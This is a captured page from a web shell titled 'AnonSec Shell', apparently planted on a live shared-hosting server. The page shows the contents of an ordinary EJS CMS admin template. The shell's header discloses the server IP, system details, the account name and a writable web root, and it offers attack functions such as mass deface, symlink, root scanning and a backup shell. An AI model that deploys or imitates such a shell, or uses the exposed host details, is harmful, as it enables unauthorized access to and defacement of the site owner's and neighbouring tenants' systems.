AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 3.15.18.136   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/allssztx/needapair.com/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/allssztx/needapair.com/public/content.ejs
<!DOCTYPE html>
<html>

<head>
  <title> CMS </title>
  <meta charset="UTF-8">
  <meta name="keywords" content="HTML, CSS, JavaScript">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <%- include('./parcials/cssLinks') %>
</head>

<body>
  <%- include('./parcials/header') %>
  <!-- ... (Previous HTML content) ... -->

  <main>
    <section class="register">
      <div class="container">
        <h2 class="theme-h2">CMS</h2>
        <form action="/api/admin/cms" method="POST" enctype="multipart/form-data">
            <input type="hidden" name="id" value="<%= content._id %>">
            <div class="form-content">
              <div class="row g-4">
                <div class="col-12">
                  <div class="input-field">
                    <label for="">Section Image</label>
                    <input name="image" type="file">
                  </div>
                </div>
                <div class="col-12">
                  <div class="input-field">
                    <label for="">Section Name</label>
                    <input type="text" value="<%= content.name %>" disabled readonly>
                  </div>
                </div>
                <div class="col-12">
                  <div class="input-field">
                    <label for="">Title</label>
                    <input name="title" type="text" value="<%= content.title %>">
                  </div>
                </div>
                <div class="col-12">
                  <div class="input-field">
                    <label for="">Heading</label>
                    <input name="heading" type="text" value="<%= content.heading %>">
                  </div>
                </div>
                <div class="col-12">
                  <div class="input-field">
                    <label for="">Sub Heading</label>
                    <% content.subheading.forEach((subhead) => { %>
                        <input name="subheading" type="text" value="<%= subhead %>">
                    <% }) %>
                  </div>
                </div>
                <div class="col-12">
                  <div class="input-field">
                    <label for="">Tagline</label>
                    <input name="tagline" type="text" value="<%= content.tagline %>">
                  </div>
                </div>
                <div class="col-12">
                  <div class="input-field">
                    <label for="">Paragraph</label>
                    <% content.paragraph.forEach((para) => { %>
                    <textarea name="paragraph" type="text"><%= para %></textarea>
                    <% }) %>
                  </div>
                </div>
                <div class="col-12">
                  <div class="input-field list-wrapper">
                    <label for="" class="">List Item</label>
                    <% content.listItem?.forEach((list) => { %>
                      <div class="list-item">
                        <input name="listItem" type="text" value="<%= list %>">
                        <button type="button" class="trash-list" onclick="removeListItem(this)"><i class="fa-solid fa-trash"></i></button>
                      </div>
                    <% }) %>
                  </div>
                  <button class="add-list-item theme-btn mt-2" type="button">Add Item</button>                    
                </div>
                <div class="col-12">
                  <div class="input-field">
                    <label for="">Link</label>
                    <input class="mb-3" name="linktext" type="text" placeholder="Text Here" value="<%= content.link?.text %>">
                    <input name="linkhref" type="text" placeholder="Link Here" value="<%= content.link?.link %>">
                  </div>
                </div>
                <div class="col-12">
                  <button class="theme-btn" type="submit">Update</button>
                </div>
              </div>
            </div>
          </form>
</div>
    </section>
  </main>

  <%- include('./parcials/footer') %>
  <%- include('./parcials/scriptLinks') %>
  <script>
    const removeListItem=(btn)=>{
      $(btn).parent().remove()
    }
    $(".add-list-item").click(function(){
      // const targetItem = $(".list-item").last()

      const newList = document.createElement("div")
      $(newList).addClass('list-item')
      $(newList).html(`<input name="listItem" type="text" value="">
                        <button type="button" onclick="removeListItem(this)"><i class="fa-solid fa-trash"></i></button>`)
      // `<div class="list-item">
      //                   <input name="listItem" type="text" value="">
      //                   <button type="button" onclick="removeListItem(this)"><i class="fa-solid fa-trash"></i></button>
      //                 </div>`
      $(".list-wrapper").append(newList)
      // $(targetItem).after(newList)
    })
  </script>
</body>

</html>

Anon7 - 2022
AnonSec Team